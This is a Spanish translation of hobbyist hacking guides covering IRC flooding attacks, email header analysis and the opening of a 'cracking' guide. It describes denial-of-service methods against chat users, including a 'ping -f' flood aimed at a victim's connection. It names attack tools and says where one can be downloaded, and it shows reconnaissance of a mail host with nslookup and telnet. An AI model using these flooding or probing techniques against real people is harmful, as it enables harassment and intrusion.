Pero introducir un alias falso al meterte en un servidor IRC es sólo la más sencilla de las maneras de poder sabotear un sesión IRC. El verdadero problema llega cuando la gente despliega contra ti sus "nukes" e "ICBMs".

Los "nukes" también se denominan "Bombardeo ICMP". Aquí están incluidos mensajes falsos como EOF (fin de fichero), sockets muertos, redirecciones, etc.


Nota para principiantes: ICMP son las siglas de Internet Control Message Protocol (Protocolo de Mensaje de Control de Internet). Es una clase de ataque IRC que va más allá del aprovechamiento de las debilidades de un servidor IRC, para hacer uso de técnicas de hacking de primera clase basadas en el funcionamiento de Internet.


Aviso de cárcel: Los ataques ICMP constituyen un ataque ilegal de denegación de servicio. No son un simple hostigamiento inofensivo a una persona del IRC, sino que pueden afectar a un ordenador por completo, consumiendo los servicios de todos aquellos que lo estén usando.


Por ejemplo, los mensajes ICMP de redirección los usan los routers para decirle a otros ordenadores "¡Eh, deja de mandarme eso! Mándaselo al routerx.foobar.net" Así que un mensaje ICMP de redirección puede conseguir que tus mensajes al IRC se vayan de camino al cielo de los bits en vez de al canal del chat.

EOF es el acrónimo de "end of file" (fin de fichero). "Socket muerto" hace referencia a conexiones como una sesión PPP que podrías estar usando con muchos de los clientes IRC para conectarte a Internet. Si un enemigo tuyo del IRC consigue enviar un mensaje falso que diga que tu socket se ha cortado, tu sesión en el chat no podrá recibir más mensajes de ti. Eso es lo que hace el programa "ICMP Host Unreachable Bomber for Windows".

Probablemente el arma del IRC más devastadora es la inundación de pings, conocida en inglés como "ICBM flood" o "ICMPing". La idea es que un chulito averigua cuál es el servidor de Internet que estás usando y ejecuta la orden "ping -f" contra éste. Incluso hasta contra el ordenador de tu casa. ¡Sí, en el IRC es posible identificar la dirección IP asignada dinámicamente al ordenador de tu casa y enviar lo que sea directamente a tu módem! Si este gallito tiene un ordenador decente, podría ser capaz de hacer ping a tu ordenador tan duramente como para echarte del IRC. Después de esto, este individuo podría hacerse con el control del tu sesión IRC y hacerse pasar por ti.


Nota para principiantes: Cuando te conectas a Internet con una conexión punto a punto (PPP), el ordenador de tu ISP (proveedor de acceso a Internet) te asigna una dirección del protocolo de Internet (IP) que puede ser diferente cada vez que te conectas. Esto es una dirección IP asignada dinámicamente. En algunos casos, sin embargo, el ISP hace que siempre se te asigne la misma dirección IP.


Ahora, consideremos en más detalle los diferentes tipos de ataques por avalancha en el IRC.

El propósito de una inundación es el de enviar tal cantidad de basura a un cliente que su conexión al servidor IRC se hace inservible o se corta.

La avalancha de texto es el ataque más sencillo. Por ejemplo, puedes mantener pulsada la tecla "x" y pulsar enter de vez en cuando. Esto haría que la pantalla del IRC se llenara con tu basura y desplazara rápidamente de la pantalla los comentarios de los otros. De todas formas, la avalancha de texto es casi siempre inútil porque casi todos los clientes IRC (el programa que estás ejecutando en tu ordenador) controlan las avalanchas de texto. Incluso si no lo tiene, el texto debe pasar a través del servidor IRC. La mayoría de los servidores IRC también tienen filtros contra las avalanchas de texto.

Debido a que las avalanchas de texto son prácticamente inofensivas, es improbable que por ello sufras nada más grave que el que te bloqueen o posiblemente que te apliquen un K:line.


Nota para principiantes: "K:line" quieres decir que no sólo te bloquean a ti el acceso al servidor IRC, sino también a cualquiera que esté en tu dominio. Por ejemplo, si eres un estudiante de la Universidad de Giant State con una dirección de correo como IRCd00d@giantstate.edu, entonces cualquier persona cuya dirección de correo termine con "giantstate.edu" también será bloqueada.


La inundación por eco de protocolo CTCP (en inglés, "Client to Client Protocol echo flooding") es el tipo más efectivo de inundación. Esto es parecido al ping que se envía para determinar si un ordenador está funcionando. Es una orden usada dentro del IRC para comprobar si alguien está aún en tu canal IRC.

¿Cómo funciona la orden "echo"? Para comprobar si alguien está aún en el canal IRC, ejecuta la orden "/ctcp alias ECHO ¡Hola!". Si la persona con el alias que has puesto está aún allí, obtendrás la respuesta "alias ¡HOLA!".

Lo que ha ocurrido es que el cliente IRC de tu víctima ha repetido automáticamente cualquier mensaje que le hayas enviado.

Pero alguien que quiera echarte del IRC puede usar la orden "echo" para engañar a tu servidor IRC, haciéndole pensar que estás saturando el canal con un exceso de conversación. Esto se debe a que la mayoría de los servidores IRC te desconectarán automáticamente si intentas realizar una avalancha de texto.

Así, este ataque engaña al servidor IRC haciendo que éste expulse a la víctima porque su cliente IRC responde continuamente a una avalancha de ecos.

Por supuesto, tu atacante podría también ser expulsado por hacer todas esas peticiones de eco. Pero un atacante experimentado trabajará coordinado con algunos amigos que te harán lo mismo, o bien se conectará con varios alias diferentes al mismo servidor IRC, de modo que con varias versiones de si mismo en forma de "bots" que realicen estas peticiones de eco, el atacante permanece conectado, mientras que la víctima es desconectada.

Este ataque también es bastante inofensivo, por lo que a la gente a la que pillan haciendo esto tan sólo la bloquean o quizás les apliquen un K:line por su mal comportamiento.


Nota para principiantes: Un "bot" es un programa de ordenador que actúa como si fuera un robot moviéndose y haciendo cosas por ti. Algunos bots son difíciles de distiguir de la gente real. Por ejemplo, algunos bots de IRC esperan a que alguien haga uso del lenguaje malsonante y responden a estas palabrotas de forma irritante.


Aviso de puñetazo en la nariz: no se permiten bots en los servidores de las grandes redes. A los operadores del IRC que controlan las guerras entre hackers en estas redes les encanta desconectar bots y bloquear a todo aquel que cogen ejecutando alguno.


Un ataque parecido es el "CATCH ping". Puedes ejecutar la orden "/ping alias" y el cliente IRC del que usa ese alias responderá al servidor IRC con un mensaje que a su vez te pasarán a ti, diciendo que el alias por el que has preguntado está vivo y el tiempo que le ha llevado responder a su cliente IRC. Es útil saber la respuesta de tiempo, porque a veces Internet puede ser tan lenta que podría llevarle 10 segundos o más enviar un mensaje a la otra gente del canal IRC. De modo que si alguien parace que se está tomando mucho tiempo en responderte, podría ser porque su conexión es lenta.

Tu atacante también puede conseguir fácilmente la dirección IP asignada dinámicamente al ordenador de tu casa y lanzar una avalancha sobre tu módem. Pero casi todos los programas de IRC de UNIX cuentan con al menos alguna clase de protección contra el ataque "CATCH". De nuevo podemos decir que estamos tratando con una clase de ataque prácticamente inofensivo.

Bueno ¿y cómo podemos defendernos de los ataques en el IRC? Existen varios programas que puedes ejecutar con tu programa IRC en UNIX. Algunos ejemplos son LiCe y Phoenix. Estos scripts se ejecutarán en segundo plano con tu sesión IRC en UNIX y automáticamente activarán alguna clase de protección (ignorar, bloquear, echar) contra los atacantes.

Si estás ejecutando un cliente IRC basado en Windows, puedes asumir que -como de costumbre- no tienes suerte. De hecho, recientemente, la primera vez que me conecté a un canal IRC usando Netscape 3.01 en Win 95, la *primera* cosa que los ciudadanos del canal #hackers hicieron fue reírse de mi sistema operativo. Pero el hecho es que existen grandes programas de guerra de IRC tanto para Windows 95 como para UNIX.

Para Windows 95 puede interesarte usar el cliente mIRC. Puedes bajártelo de http://www.super-highway.net/users/govil/mirc40.html. Incluye una protección contra la inundación por ICMP. Pero este programa no es suficiente para defenderse de todas las guerras del IRC en las que podrías encontrarte, por lo que sería interesante añadir la protección del script más potente y amigable de Windows 95: 7th Sphere. Puedes conseguirlo en http://www.localnet.com/~marcraz/.

Si utilizas el IRC desde una máquina UNIX podrías probar el IRCII. Puedes bajarlo de ftp.undernet.org, en el directorio /pub/irc/clients/UNIX, o http://www.irchelp.org/, o ftp://cs-ftp.bu.edu/irc/. Para una protección adicional puedes bajar LiCe de ftp://ftp.cibola.net/pub/irc/scripts. Bueno, en este mismo sitio también puedes bajar el programa de ataque Tick de /pub/irc/tick. Pero si te haces con Tick, ¡simplemente recuerda los avisos que he dado!


Nota para principiantes: Para unas instrucciones detalladas sobre cómo ejecutar estos programas de IRC, ve a http://www.irchelp.org/. O busca información en el grupo de noticias alt.irc.questions


Truco para genios malignos: ¿Quieres conocer todos los detalles técnicos del IRC? Examina la RFC 1459 (The IRC protocol). Puedes encontrar varias copias de esta popular RFC haciendo una búsqueda en la web.


Bien, supongamos que estás perfectamente preparado con un cliente IRC y scripts "bélicos" de capacidad industrial. ¿Significa eso que estás listo para ir a la guerra en el IRC?

Nosotros, los amigos del Happy Hacker, no te recomendamos que ataques por la fuerza a la gente que tiene el status de OP en el IRC. Incluso aunque ellos te lo hayan quitado, recuerda esto: si fueron capaces de colarse en el canal y conseguir tu OP, entonces lo mas probable es que tengan más experiencia y sean más peligrosos que tú. Hasta que te conviertas en un maestro del IRC, te sugerimos que lo más que hagas sea pedir educadamente que te devuelvan el OP.

Mejor aún, ejecuta "/ignore alias" con el alias de esos perdedores y vete a otro canal. Por ejemplo, si te secuestran el canal #chathackermaligno, simplemente crea #chathackermaligno2 y luego ejecuta la orden "/invite alias" dirigida a todos tus amigos. Y acuérdate de usar lo que has aprendido en esta Guía sobre la orden "/whois" del IRC y no les des el OP a nadie a menos que sepas quién es.

Como Patrick Rutledge dice, esto podría parecer una reacción débil, pero si tienes una oportunidad de luchar, no lo intentes; podría ser complicado para ti a largo plazo. Y si empiezas a guerrear en el IRC y te hacen un K:line, únicamente piensa en la nariz rota y en el ojo a la virulé que vas a tener cuando todos los tíos del IRC de tu ISP o centro de estudios sepan que has sido tú el pringado que ha conseguido que les bloqueen a todos.

Eso es todo por el momento. Ahora no te hagas el gracioso, ¿vale? Oh, no, me están echando de mi conexiooooon...

Cómo leer cabeceras de correo y
encontrar servidores de Internet (I)


Cuidado: ¡incluye flames!


Vale, vale, vosotros ganáis. Por fin estoy publicando el siguiente número de la serie de guías orientadas hacia el hacker intermedio.

Algunos de vosotros podéis pensar que las cabeceras son demasiado simples o aburridas para perder tiempo con ellas. Sin embargo, hace unas semanas le pregunté a más de 3000 lectores de la lista de Happy Hacker si alguno de ellos podía decirme exactamente qué trucos de correo electrónico estaba empleando en el proceso de mandar los boletines. Pero ni una persona contestó con una respuesta completa -ni siquiera un 75% de la respuesta-, o siquiera sospecharon que durante meses casi todos los envíos de Happy Hacker se habían duplicado como protesta. El objetivo: los ISP que ofrecían sitios de descarga de programas para bombardear el correo electrónico. Conclusión: ¡es momento de hablar de las cabeceras!

En esta Guía aprenderemos:

Ésta es una Guía de la que podrás hacer uso sin necesidad de conseguir una cuenta shell o instalar alguna variante de Unix en tu ordenador. Todo lo que hace falta es poder enviar y recibir correo electrónico. Sin embargo, si tienes una cuenta shell, podrás hacer mucho más descifrando cabeceras. ¡Viva Unix!


Las cabeceras pueden parecer un tema aburrido. Caramba, el programa de correo Eudora pone como icono en el botón que se pulsa para leer la cabecera completa la frase "blah blah blah". Pero todos aquellos que te digan que las cabeceras son aburridas, o son unos ignorantes, o por el contrario temen que vayas a abrir un maravilloso cofre lleno de secretos hackers. Sí, cada cabecera de correo inspeccionada encierra la posibilidad de desenterrar un tesoro escondido en algún callejón trasero de Internet.

Las cabeceras pueden parecer lo suficientemente simples como para ser el tema de una de nuestras guías de la serie para principiantes. Pero cuando fui a buscar el tema de las cabeceras en mi biblioteca de manuales, me asusté al descubrir que la mayoría de ellos ni siquiera hablan del tema. Los dos que encontré que hablan de las cabeceras no dicen casi nada de ellas. Incluso la importante RFC 822 es bastante vaga al respecto. Si cualquiera de vosotros, excelentes lectores vigilantes buscando guerra, por casualidad conoce cualquier documento que hable de las cabeceras en detalle, por favor, ¡incluid esta información con vuestros proyectiles!


Consejo técnico: la información relativa a cabeceras puede leerse en la RFC 822 (la mejor), así como en las RFCs 1042, 1123, 1521 y 1891 (lista no completa). Para leerlas, ve a http://altavista.digital.com y busca "RFC 822", etc.


Careciendo de ayuda en los manuales, y viendo que la RFC 822 no contestaba a todas mis preguntas, la principal forma en que investigué para este artículo fue enviar correo entre varias de mis cuentas, probando muchas variaciones para ver qué tipos de encabezados se generaban. Eh, así es cómo se supone que los hackers reales deducen las cosas cuando la técnica LEPM (Lee El "Precioso" Manual) o LLPRFC (Lee La "Preciosa" RFC) no dicen todo lo que nosotros queremos saber ¿Correcto?

Una última cosa. Me han informado de que cada vez que he puesto una dirección de correo o nombre de dominio en una Guía de Hacking (casi) inofensivo, millones de novatos han lanzado diversos ataques contra ellos. Todas las direcciones de correo y los nombres de dominio que siguen han sido modificados con la técnica "fubar".


Nota para novatos: "fubar" significa disimular las direcciones del correo electrónico y las direcciones de host Internet cambiándolos. Antiguas tradiciones sostienen que es mejor hacerlo sustituyendo parte de la dirección por "fubar" o "foobar" ("nada" o "nadie").


¿Qué son las cabeceras?


Si eres nuevo en el hacking, las cabeceras que estarás acostumbrado a ver pueden estar incompletas. Es probable que cuando recibas un correo electrónico se parezca un poco a esto:

De: Vegbar Nadie <nadie@ifi.nada.no> 
Fecha: Vie, 11 Abr 1997 18:09:53 GMT 
A: hacker@techbroker.com 

Pero si conoces la orden correcta, de pronto, con ese mismo mensaje electrónico, estarás viendo montones de cosas:

 
Received: by o200.nadway.net (950413.SGI.8.6.12/951211.SGI) 
for techbr@nadway.net id OAA07210; Fri, 11 Apr 1997 14:10:06
-0400
Received: from ifi.nada.no by o200.nadway.net via ESMTP 
(950413.SGI.8.6.12/951211.SGI) 
for <hacker@techbroker.com> id OAA18967; Fri, 11 Apr 
1997 14:09:58 -0400
Received: from gyllir.ifi.nada.no (2234@gyllir.ifi.nada.no 
[129.xxx.64.230]) by ifi.nada.no with ESMTP (8.6.11/ifi2.4) 
id <UAA24351@ifi.nada.no> for <hacker@techbroker.com> 
; Fri, 11 Apr 1997 20:09:56 +0200 
From: Vegbar Nadie <nadie@ifi.nada.no> 
Received: from localhost (Vegbarna@localhost) by 
gyllir.ifi.nada.no ; Fri, 11 Apr 1997 18:09:53 GMT 
Date: Fri, 11 Apr 1997 18:09:53 GMT 
Message-Id: <199704111809.13156.gyllir@ifi.nada.no> 
To: hacker@techbroker.com 
 

¡Eh!, ¿te has preguntado alguna vez por qué está ahí todo eso y qué significa? Volveremos después a este ejemplo en esta guía didáctica. Pero primero nosotros debemos responder a la pregunta caliente del día:

¿Por qué las cabeceras son divertidas?


¿Por qué preocuparse por esas cabeceras "blah blah blah"? ¿Son aburridas, verdad? ¡Mentira!

1.      ¿Alguna vez has oído a un hacker novato quejarse de no tener la dirección de ningún ordenador bueno para explorar? ¿Alguna vez has usado uno de esos programas exploradores de IPs que buscan direcciones válidas de servidores de Internet? Pues puedes encontrar tropecientas mil direcciones válidas sin el apoyo de uno de estos programas, simplemente leyendo las cabeceras de los correos electrónicos.

2.      ¿Alguna vez te has preguntado quién mandó realmente el mensaje "Haga dinero rápido"? ¿O quién es ese pesado que ha bombardeado tu buzón? El primer paso para saber cómo detectar las falsificaciones de correo electrónico y señalar al culpable es ser capaz de leer las cabeceras.

3.      ¿Quieres aprender a falsificar correos de forma convincente? ¿Aspiras a escribir programas automáticos para generar correo basura o bombardear correos electrónicos? (Yo desapruebo ambos tipos de programas, pero no nos engañemos sobre el tipo de conocimientos en que sus creadores se deben apoyar). El primer paso es entender las cabeceras.

4.      ¿Quieres atacar el ordenador de alguien? Busca dónde es mejor atacar en las cabeceras de su correo electrónico. Yo desapruebo este uso, también. Pero mi labor es contarte la verdad sobre el hacking así que, nos guste o no, esto es lo que hay.




¿Cómo se pueden ver las cabeceras completas?


Así que miras las cabeceras de tu correo electrónico y no parece que tengan nada interesante. ¿Quieres ver todo lo que hay oculto? La forma de hacerlo depende de qué programa de correo electrónico estés usando.

El programa de correo electrónico más popular hoy es Eudora. Para ver las cabeceras completas en Eudora, basta con pulsar el botón "blah, blah, blah" en el extremo izquierdo de la barra de herramientas.

Netscape incluye un lector de correo electrónico. Para ver las cabeceras completas hay que pulsar en Opciones, y después sobre "Mostrar todas las cabeceras".

Lo siento, pero no he mirado cómo hacerlo con Internet Explorer. Oh, no, ya estoy viendo venir los mensajes atacantes, ¡cómo me atrevo a no aprender los pormenores del correo con IE!. Pero, en serio, IE es un navegador Web peligrosamente inseguro porque en realidad es una shell (intérprete de órdenes) de Windows. Por eso no importa con qué frecuencia resuelva Microsoft sus fallos de seguridad, es probable que alguno de ellos te afecte cualquier día. Simplemente di "no" a IE.

Otro programa de correo electrónico popular es Pegasus. Tiene que haber una manera fácil de ver las cabeceras completas en Pegasus, pero no la he encontrado. La forma difícil de ver las cabeceras completas en Pegasus -o IE, o cualquier programa de correo electrónico- es abrir las carpetas de correo con Wordpad. Está incluido en Windows 95 y es el mejor programa editor de Windows que he encontrado para manejar documentos que incluyan muchos caracteres de control y otras excentricidades.

El programa de correo electrónico Compuserve 3.01 muestra automáticamente las cabeceras completas. ¡Bravo, Compuserve!

Pine es el programa de correo electrónico más popular en Unix. Dado que para llegar a ser un hacker de verdad antes o después acabarás usando Unix, ahora puede ser un gran momento para empezar a usar Pine.


Nota para novatos: Pine significa "Pine Is No longer Elm" (Pine ya no es Elm), un tributo al antiquísimo programa de correo electrónico Elm (que todavía está en uso). Tanto Pine como Elm datan de la época de ARPAnet, la red de ordenadores de la Agencia Americana de Proyectos de Investigación Avanzada que con el tiempo se convirtió en la Internet actual.


Si nunca has usado Pine con anterioridad, tendrás la impresión de que no es tan fácil de usar como esos deslumbrantes programas de correo electrónico de Windows. Pero aparte de sus asombrosos poderes, hay una razón muy buena para aprender a escribir mensajes con Pine: se consigue práctica con las órdenes del editor pico. Si quieres ser un hacker de verdad, usarás el editor pico (o cualquier otro editor con órdenes similares) algún día cuando escribas programas en una shell de Unix.

Para arrancar Pine, en el cursor de la shell del Unix teclea "pine".

En Pine, observando mensajes de correo electrónico, es posible ver las cabeceras completas pulsando la tecla "h". Si esto no funciona, tendrás que ir al menú Setup para habilitar esta orden. Para hacer esto, ve al menú principal y pulsa la "s" de Setup. En ese menú elige "c" para Config. En la segunda página del menú de Configuración verás algo así:

 
PINE  3.91 SETUP CONFIGURATION Folder: INBOX 2 Messages 

 

 

[ ] compose-rejects-unqualified-addrs

[ ] compose-sets-newsgroup-without-confirm

[ ] delete-skips-deleted

[ ] enable-aggregate-command-set

[ ] enable-alternate-editor-cmd

[ ] enable-alternate-editor-implicitly

[ ] enable-bounce-cmd

[ ] enable-flag-cmd

[X] enable-full-header-cmd

[ ] enable-incoming-folders

[ ] enable-jump-shortcut

[ ] enable-mail-check-cue

[ ] enable-suspend

[ ] enable-tab-completion

[ ] enable-unix-pipe-cmd

[ ] expanded-view-of-addressbooks

[ ] expanded-view-of-folders

[ ] expunge-without-confirm

[ ] include-attachments-in-reply

? Help E Exit Config P Prev - PrevPage

X [Set/Unset] N Next Spc NextPage W WhereIs

 

Resalta en primer lugar la línea que dice "enable-full-header-cmd" y luego pulsa la tecla "x". Pulsa entonces "e" para salir guardando el cambio. Una vez que hayas hecho esto, cuando estés leyendo el correo electrónico podrás ver todas las cabeceras con el comando "h".

Elm es el otro programa para leer correo electrónico en Unix. Éste da unas cabeceras ligeramente más detalladas que Pine, y muestra automáticamente las cabeceras completas.


¿Qué significan todas esas cosas en medio de las cabeceras?


Empezaremos echando un vistazo a una cabecera medianamente curiosa. Luego examinaremos dos cabeceras que revelan alguna trampa interesante. Finalmente veremos una cabecera falsificada.

Vale, volvamos a la cabecera completa ciertamente común que veíamos antes. La descifraremos parte por parte. Primero miremos la versión simple:

 
De: Vegbar Nadie <nadie@ifi.nada.no> 
Fecha: Vie, 11 Abr 1997 18:09:53 GMT 
A: hacker@techbroker.com 
 

La información dentro de cualquier cabecera consiste en una serie de campos separados unos de otros por el carácter "salto de línea". Cada campo consiste en dos partes: un nombre del campo que no incluye ningún espacio terminado por dos puntos, y los contenidos de los campos. En este caso los únicos campos que se muestran son "De:", "Fecha:" y "A:".

En cada cabecera hay dos clases de campos: el "sobre", que contiene sólo los campos de remitente y destinatario; y todo lo demás, que es la información específica de manejo del mensaje. En este caso el único campo que aparece que muestra información sobre manejo del mensaje es el campo de Fecha.

Al ver las cabeceras completas, podremos ver todos los campos. Estudiemos esta información línea por línea.

 
Received: by o200.nadway.net (950413.SGI.8.6.12/951211.SGI) 
for techbr@nadway.net id OAA07210; Fri, 11 Apr 1997 
14:10:06 -0400
 

Esta línea nos dice que descargamos este correo electrónico del servidor POP de un ordenador llamado o200.nadway.net. Esto se hizo en nombre de mi cuenta con dirección de correo electrónico techbr@nadway.net. La parte (950413.SGI.8.6.12/951211.SGI) identifica el nombre y la versión del software que ejecuta ese servidor POP.


Aviso para principiantes: POP significa Post Office Protocol, Protocolo de Oficina Postal. El servidor POP es el ordenador que guarda nuestro correo electrónico hasta que queremos leerlo. Normalmente el programa de correo electrónico de tu ordenador de casa o de tu cuenta shell se conectará al puerto 110 del servidor POP para obtener el correo electrónico. Un protocolo similar pero más general es IMAP, (siglas de Interactive Mail Access Protocol, Protocolo Interactivo de Acceso al Correo). Créeme, serás la sensación en las fiestas si puedes disertar sobre las diferencias entre POP e IMAP, ¡pedazo de hacker! (Pista: para más información, LLPRFCs.)


Ahora examinaremos la segunda línea del título:

 
Received: from ifi.nada.no by o200.nadway.net via ESMTP
(950413.SGI.8.6.12/951211.SGI) 
for <hacker@techbroker.com> id OAA18967; Fri, 11 Apr 1997 
14:09:58 -0400
 

Vale, bueno, no prometí que esta cabecera sería *completamente* común. Esta línea nos dice que un ordenador llamado ifi.nada.no pasó este correo electrónico al servidor POP en o200.nadway.net para alguien con la dirección de correo electrónico hacker@techbroker.com. Esto es porque estoy redirigiendo todo el correo electrónico para hacker@techbroker.com hacia la cuenta techbr@fooway.net. En Unix esto se hace creando un archivo en el directorio local llamado ".forward" con la dirección a la que se quiere enviar el correo electrónico. Hay mucho más detrás de esto, pero no lo voy a contar. Je, je... ¿Alguno de vosotros, genios malignos, es capaz de imaginarse la historia completa?

ESMTP significa Extended Simple Mail Transfer Protocol, es decir, Protocolo Sencillo de Transferencia de Correo Ampliado. El 950413.SGI.8.6.12/951211.SGI identifica al programa que está ocupándose de mi correo electrónico.

En cuanto a las siguientes líneas de la cabecera:

 
Received: from gyllir.ifi.nada.no (2234@gyllir.ifi.nada.no 
[129.xxx.64.230]) by ifi.nada.no with ESMTP (8.6.11/ifi2.4) 
id <UAA24351@ifi.nada.no> for <hacker@techbroker.com>
; Fri, 11 Apr 1997 20:09:56 +0200
 

Esta línea nos dice que la computadora ifi.nada.no obtuvo este mensaje del correo electrónico de gyllir.ifi.nada.no. Estas dos computadoras aparecen en la misma red LAN. En efecto, veamos algo interesante. El nombre de la computadora gyllir.ifi.nada.no tiene un número detrás de ella, 129.xxx.64.230. Esta es la representación numérica de su nombre (he puesto ".xxx" en el lugar de tres números para ocultar la dirección IP). Pero ifi.nada.no no tiene un número después de su nombre. ¿Por qué?

Si estás trabajando con Windows 95 o un Mac, probablemente no puedas entender este pequeño misterio. Pero créeme, el hacking tan sólo consiste más en darse cuenta de estos pequeños misterios e investigarlos (hasta que encuentres algo que romper, jajajaja. Sólo bromeaba, ¿vale?)

Pero dado que estoy intentando ser un hacker de verdad, voy a mi fiable cuenta shell de Unix y ejecuto la orden:

 
> nslookup ifi.nada.no 
 
Server: Fubarino.com
Address: 198.6.71.10
 
Non-authoritative answer:
Name: ifi.foobar.no
Address: 129.xxx.64.2
 

Observa que las direcciones IP ifi.nada.no y gyllir.ifi.nada.no tienen números distintos. Hmmm, empiezo a pensar que el dominio ifi.nada.no puede ser un sitio bastante grande. Algunas pruebas con dig y traceroute me llevan a descubrir más ordenadores en ese dominio. Un sondeo con nslookup en el modo "set type=any" me dice mucho más.

Por ejemplo, ¿qué quiere decir ese ".no", en cualquier caso? Una rápida mirada al registro de abreviaturas nacionales de la International Standards Organization (ISO) nos desvela que ".no" es el dominio de Noruega. ¡Ajá! Parece que Noruega es una tierra ártica con fiordos, montañas, renos, y muchos, muchos servidores de Internet. Una búsqueda rápida de la lista de correo Happy Hacker revela que un 5% de sus casi 4.000 direcciones de correo electrónico tienen el dominio en ".no". ¡Así que ahora sabemos que esta tierra del Sol de medianoche también es un semillero de Hackers! ¿Quién dijo que las cabeceras eran aburridas?

En las próximas líneas están el nombre y dirección del correo electrónico del remitente:

 
From: Vegbar Nadie <nadie@ifi.nada.no> 
Received: from localhost (Vegbarna@localhost) by 
gyllir.ifi.nada.no ; Fri, 11 Apr 1997 18:09:53 GMT
 

Voy a hacer aquí alguna conjetura. Esta línea dice que gyllir.ifi.nada.no, recibió este mensaje del correo electrónico de Vegbar Nadie en el ordenador "localhost". Pero "localhost" es la forma en la un ordenador Unix se llama a sí mismo. En un shell Unix, prueba la orden "telnet localhost". Te aparecerá una pantalla de login para entrar en tu propia cuenta.

Así, al ver que gyllir.ifi.nada.no obtuvo el mensaje de correo electrónico de "localhost", supongo que quien envió ese correo electrónico estaba trabajando en una cuenta shell en gyllir.ifi.nada.no, y que este ordenador ejecuta Unix. Verificamos rápidamente esta hipótesis:

 
> telnet gyllir.ifi.foobar.no
Trying 129.xxx.64.230...
Connected to gyllir.ifi.foobar.no.
Escape character is '^]'.
 
IRIX System V.4 (gyllir.ifi.nada.no) 
 

Irix es un sistema operativo de tipo Unix de los equipos de Silicon Graphics Inc (SGI). Esto encaja con el nombre del software del servidor POP en ifi.nada.no de la cabecera (950413.SGI.8.6.12/951211.SGI). Así que, caramba, estamos ante una gran red de ordenadores noruegos que incluyen equipos SGI. Podríamos encontrar exactamente cuántos, con paciencia, rastreando las direcciones IP adjuntas, y usando los comandos Unix dig y nslookup.

Pero no se ven equipos SGI todos los días en Internet. Los ordenadores de SGI están optimizados para gráficos y cálculos científicos.

Así que realmente me tienta aprender más sobre este dominio. A menudo un ISP tendrá una página Web en el nombre de dominio. Así que pruebo http://ifi.nadie.no. No funciona, así que intento http://www.ifi.nadie.no. Consigo la página de bienvenida del Institutt for Informatikk de la Universidad de Oslo. La división Informatikk destaca en informática y en el procesamiento de imágenes. Ahora pregúntate para qué tiene la gente de ifi.nada.no ordenadores SGI.

Ahora miro en www.nada.no y me entero de que la Universidad de Oslo tiene algo más de 39.000 estudiantes. ¡No es nada raro que encontremos tantos servidores bajo el dominio de ifi.nada.no!

Pero regresemos a esta cabecera. La siguiente línea es bastante simple, sólo tiene la fecha:

 
Date: Fri, 11 Apr 1997 18:09:53 GMT 
 

Pero ahora viene la línea más fascinante de todas las cabeceras, el identificador del mensaje:

 
Message-Id: <199704111809.13156.gyllir@ifi.nada.no> 
 

El identificador del mensaje es la clave para localizar correos electrónicos falsificados. Evitar la creación de una identificador de mensaje válido es básico para usar el correo electrónico con propósitos delictivos. Los delincuentes informáticos se esfuerzan mucho en encontrar servidores de Internet en los que falsificar correos electrónicos sin dejar ningún rastro de sus actividades a través de estos identificadores de mensajes.

La primera parte de este identificador es la fecha y la hora. 199704111809 significa 1997, 11 de abril, 18:08 (ó 6:08 PM). Algunos identificadores también incluyen el tiempo en segundos. Otros pueden omitir el "19" del año. El 13156 es un número que identifica a quién escribió el correo electrónico, y gyllir@ifi.nada.no se refiere al equipo gyllir del dominio ifi.nada.no en el que se guarda este registro.

¿En qué parte de este ordenador se almacenan los registros de la identidad de los remitentes de correos electrónicos? Unix tiene muchas variantes, por lo que no voy a prometer que estos archivos estarán en un archivo con el mismo nombre en cualquier sistema Unix. Pero a menudo están en los archivos de syslog o en usr/spool/mqueue. Algunos administradores de sistemas archivan los identificadores de mensaje por si algún día necesitan averiguar quién puede haber abusado de su sistema de correo electrónico. Pero la configuración por defecto de algunos sistemas, por ejemplo los que usan sendmail, es no archivarlos. Desgraciadamente, un servidor de Internet que no archive estos identificadores de mensaje está creando un potencial refugio para los delincuentes del correo electrónico.

La terrible guía sobre cracking


Hoy en día, si le preguntas a cualquiera qué es un hacker, te dirá: "una persona que entra por la fuerza en ordenadores".

Esto es en parte a causa de las historias de las noticias que hacen parecer que la única cosa que un hacker hace es perpetrar delitos con ordenadores. Pero también hay algo de verdad en el punto de vista general. La obsesión por entrar por la fuerza en ordenadores ha barrido el mundo hacker. De hecho, muchos hackers se pitorrean de las cosas que yo creo que son divertidas: falsificar correo electrónico y artículos de grupos de noticias y programar Huevos de Pascua en software comercial (esas ventanas con mensajes ocultos que aparecen tras pulsar una combinación de teclas en programas como Word) o crear pantallas de inicio de Win 95 que digan "La madre de Bill Gates lleva botas del ejército".

Pero puesto que todo el mundo ha estado enviándome correos electrónicos suplicándome instrucciones sobre cómo entrar por la fuerza en los ordenadores, aquí están. La Terrible Guía sobre Cracking. Sí, tú también puedes convertirte en un auténtico asaltante de ordenadores y hacer que todo el mundo tiemble en sus botas o zapatillas o en cualquier calzado que estén llevando últimamente.

"Pero, pero..." dices, "esta lista es sobre hacking **legal**. Mira el mensaje de bienvenida que me enviaste cuando me suscribí."

Bienvenido a la realidad. Los hackers, a veces, dicen mentirijillas.


Aviso de cárcel: Casi en cualquier sitio del planeta, asaltar un ordenador es ilegal. Las únicas excepciones son asaltar tu propio ordenador, o asaltar un ordenador cuyo propietario te haya dado permiso para intentarlo. No importa si sólamente estás husmeando por allí sin hacer ningún daño. No importa si haces que el ordenador de un desconocido sea mejor. Te meterás en problemas a pesar de todo si asaltas sin permiso.


Sinceramente, esta Guía trata, en realidad, sobre hacking inofensivo. No tienes por qué cometer un delito para asaltar un ordenador. De tiempo en tiempo, los tipos duros ofrecen sus ordenadores a sus amigos, o a veces incluso al mundo entero, como objetivo para el cracking. Si tienes permiso del propietario de un ordenador, es absolutamente legal asaltarlo.

De hecho, aquí va la dirección de un ordenador realmente divertido para el que tienes permiso para asaltarlo. Damien Sorder te invita a asaltar su ordenador en Internet: obscure.sekurity.org

Pero, ¿cómo saber si éste o cualquier otro cartel de bienvenida a crackers es auténtico? ¿Cómo saber si no estoy simplemente usando un viejo truco contra Damien enviando una invitación para asaltar su ordenador a 5000 lectores enloquecidos de la lista Happy Hacker?

